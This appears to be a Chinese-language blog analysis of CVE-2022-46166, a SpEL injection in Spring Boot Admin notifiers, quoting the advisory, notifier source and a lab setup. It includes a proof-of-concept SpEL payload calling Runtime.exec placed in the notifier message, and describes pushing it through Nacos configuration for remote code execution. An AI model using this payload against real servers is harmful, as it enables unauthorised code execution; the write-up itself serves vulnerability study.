CVE-2022-46166分析(SpringBoot Admin SPEL)

375

漏洞信息

  • https://github.com/codecentric/spring-boot-admin/security/advisories/GHSA-w3x5-427h-wfq6

  • Impact

    All users who run Spring Boot Admin Server, having enabled Notifiers (e.g. Teams-Notifier) and write access to environment variables via UI are possibly affected.

    Patches

    In the most recent releases of Spring Boot Admin 2.6.10 and 2.7.8 the issue is fixed by implementing SimpleExecutionContext of SpEL. This prevents the arbitrary code execution (i.e. SpEL injection).

    Workarounds

    • Disable any notifier
    • Disable write access (POST request) on /env actuator endpoint

查看diff

  • 截屏2023-01-17 20.57.28

  • 可以看到2.6.10之前的各种Notifier实现类中洞用了StandardEvaluationContext来进行了spel的解析。所以我猜测漏洞点主要是在通知器中对莫个可控的变量进行了解析,至于cve后面提到的post/env的做法,个人觉得并不能算是spring-boot-admin的锅,应该算是spring-actuator配置不当导致敏感信息泄漏,因为actuator2以后,/env已经是get方法了。

了解项目

  • 什么是spring-boot-admin?spring家族小老弟之一,将 Actuator 中的信息进行界面化的展示,也可以监控所有 Spring Boot 应用的健康状况,提供实时警报功能。

  • 什么事notifier? 当你的应用程序上线、下线、或者是遇到一些情况时,程序员想要得到通知,就可以借助这个notifier,把消息发送到你的钉钉,email,Hipchat等等。

  • 下面来体验一下这个功能。(dalao跳过

  • 这里打算做二个module[https://github.com/luelueking/Java-CVE-Lists/blob/main/CVE-2022-46166/springbootadmin-vuln/],目录结构如下,其中admin-server负责做spring-boot-admin的服务端,用来监控,admin-order则是一个被监控应用。

  • 截屏2023-01-17 21.10.47
  • 在admin-server中配置通知器

    @Configuration
    public class NotificationConfig {
    
        private InstanceRepository instanceRepository;
        private ObjectProvider<List<Notifier>> provider;
    
        public NotificationConfig(InstanceRepository instanceRepository, ObjectProvider<List<Notifier>> provider) {
            this.instanceRepository = instanceRepository;
            this.provider = provider;
        }
    
        @Bean
        public FilteringNotifier filteringNotifier() {
            CompositeNotifier compositeNotifier = new CompositeNotifier(this.provider.getIfAvailable(Collections::emptyList));
            return new FilteringNotifier(compositeNotifier, this.instanceRepository);
        }
    
        @Bean
        @Primary
        public RemindingNotifier remindingNotifier() {
    
            RemindingNotifier remindingNotifier = new RemindingNotifier(filteringNotifier(), this.instanceRepository);
            //配置每隔多久提示
            remindingNotifier.setReminderPeriod(Duration.ofMinutes(1));
            //配置每隔多久检查
            remindingNotifier.setCheckReminderInverval(Duration.ofSeconds(10));
            return remindingNotifier;
        }
    }
    
    

    admin-server中yml配置一手钉钉机器人的webhook

    server:
      port: 8000
    
    spring:
      boot:
        admin:
          notify:
            dingtalk:
              enabled: true
              webhook-url: 钉钉机器人webhook-url
              secret: 你的钉钉机器人密钥
              message: "服务警告: #{instance.registration.name} #{instance.id} is #{event.statusInfo.status}"
    
    
  • 随后我们关闭order服务,发现就钉钉机器人真的通知了。

    截屏2023-01-17 21.24.27
  • 而且消息内容怎么越看越像server端所配置的yml

    message: "服务警告: #{instance.registration.name} #{instance.id} is #{event.statusInfo.status}"
    

漏洞复现

  • cve都说是spel,看一下Notifier中的代码

    package de.codecentric.boot.admin.server.notify;
    
    import de.codecentric.boot.admin.server.domain.entities.Instance;
    import de.codecentric.boot.admin.server.domain.entities.InstanceRepository;
    import de.codecentric.boot.admin.server.domain.events.InstanceEvent;
    import java.net.URLEncoder;
    import java.util.HashMap;
    import java.util.Map;
    import javax.annotation.Nullable;
    import javax.crypto.Mac;
    import javax.crypto.spec.SecretKeySpec;
    import org.apache.commons.codec.binary.Base64;
    import org.springframework.context.expression.MapAccessor;
    import org.springframework.expression.Expression;
    import org.springframework.expression.ParserContext;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    import org.springframework.expression.spel.support.StandardEvaluationContext;
    import org.springframework.http.HttpEntity;
    import org.springframework.http.HttpHeaders;
    import org.springframework.http.MediaType;
    import org.springframework.web.client.RestTemplate;
    import reactor.core.publisher.Mono;
    
    public class DingTalkNotifier extends AbstractStatusChangeNotifier {
        private static final String DEFAULT_MESSAGE = "#{instance.registration.name} #{instance.id} is #{event.statusInfo.status}";
        private final SpelExpressionParser parser = new SpelExpressionParser();
        private RestTemplate restTemplate;
        private String webhookUrl;
        @Nullable
        private String secret;
        private Expression message;
    
        public DingTalkNotifier(InstanceRepository repository, RestTemplate restTemplate) {
            super(repository);
            this.restTemplate = restTemplate;
            this.message = this.parser.parseExpression("#{instance.registration.name} #{instance.id} is #{event.statusInfo.status}", ParserContext.TEMPLATE_EXPRESSION);
        }
    
        protected Mono<Void> doNotify(InstanceEvent event, Instance instance) {
            return Mono.fromRunnable(() -> {
                this.restTemplate.postForEntity(this.buildUrl(), this.createMessage(event, instance), Void.class, new Object[0]);
            });
        }
    
        private String buildUrl() {
            Long timestamp = System.currentTimeMillis();
            return String.format("%s&timestamp=%s&sign=%s", this.webhookUrl, timestamp, this.getSign(timestamp));
        }
    
        protected Object createMessage(InstanceEvent event, Instance instance) {
            Map<String, Object> messageJson = new HashMap();
            messageJson.put("msgtype", "text");
            Map<String, Object> content = new HashMap();
            content.put("content", this.getText(event, instance));
            messageJson.put("text", content);
            HttpHeaders headers = new HttpHeaders();
            headers.setContentType(MediaType.APPLICATION_JSON);
            return new HttpEntity(messageJson, headers);
        }
    
        private Object getText(InstanceEvent event, Instance instance) {
            Map<String, Object> root = new HashMap();
            root.put("event", event);
            root.put("instance", instance);
            root.put("lastStatus", this.getLastStatus(event.getInstance()));
            StandardEvaluationContext context = new StandardEvaluationContext(root);
            context.addPropertyAccessor(new MapAccessor());
            return this.message.getValue(context, String.class);
        }
    
        private String getSign(Long timestamp) {
            try {
                String stringToSign = timestamp + "\n" + this.secret;
                Mac mac = Mac.getInstance("HmacSHA256");
                mac.init(new SecretKeySpec(this.secret.getBytes("UTF-8"), "HmacSHA256"));
                byte[] signData = mac.doFinal(stringToSign.getBytes("UTF-8"));
                return URLEncoder.encode(new String(Base64.encodeBase64(signData)), "UTF-8");
            } catch (Exception var5) {
                var5.printStackTrace();
                return "";
            }
        }
    
        public void setRestTemplate(RestTemplate restTemplate) {
            this.restTemplate = restTemplate;
        }
    
        public String getWebhookUrl() {
            return this.webhookUrl;
        }
    
        public void setWebhookUrl(String webhookUrl) {
            this.webhookUrl = webhookUrl;
        }
    
        @Nullable
        public String getSecret() {
            return this.secret;
        }
    
        public void setSecret(@Nullable String secret) {
            this.secret = secret;
        }
    
        public String getMessage() {
            return this.message.getExpressionString();
        }
    
        public void setMessage(String message) {
            this.message = this.parser.parseExpression(message, ParserContext.TEMPLATE_EXPRESSION);
        }
    }
    
    
  • 注意到这里,非常金典的spel解析,而且我们得到的信息就是解析的是message,那问题必出在message这里啊。

            this.message = this.parser.parseExpression("#{instance.registration.name} #{instance.id} is #{event.statusInfo.status}", ParserContext.TEMPLATE_EXPRESSION);
    
  • 浅浅修改下application.yml

    message: "服务警告:#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('open -a Calculator')} #{instance.id} is #{event.statusInfo.status}" # 消息内容
    

    再次关闭order服务,另其触发通知,发现server端爆出spel解析错误

    截屏2023-01-17 21.32.27

漏洞利用

  • 既然漏洞点在于通知的message,那么message可控就有rce的风险。所以这里也不妨猜测cve报告中后续的actuator配置不当就是可以控制message地一种方式,当然也可以是触发通知的一种方式。

配合Nacos来rce

  • 思考一下生产环境?nacos中统一发布配置文件信息。重要的是,不需要重启应用,配置就可以生效。所以这里做了一个微服务的环境。

  • 一个Nacos,一个server,一个order。

  • 修改nacos配置截屏2023-01-17 21.42.37

  • 关闭order来触发通知,当然触发通知还有很多,这里是为了简单方便。喜闻乐见的计算器!

    截屏2023-01-17 21.49.21

  • 其他控制message的姿势
  • 其他触发通知的姿势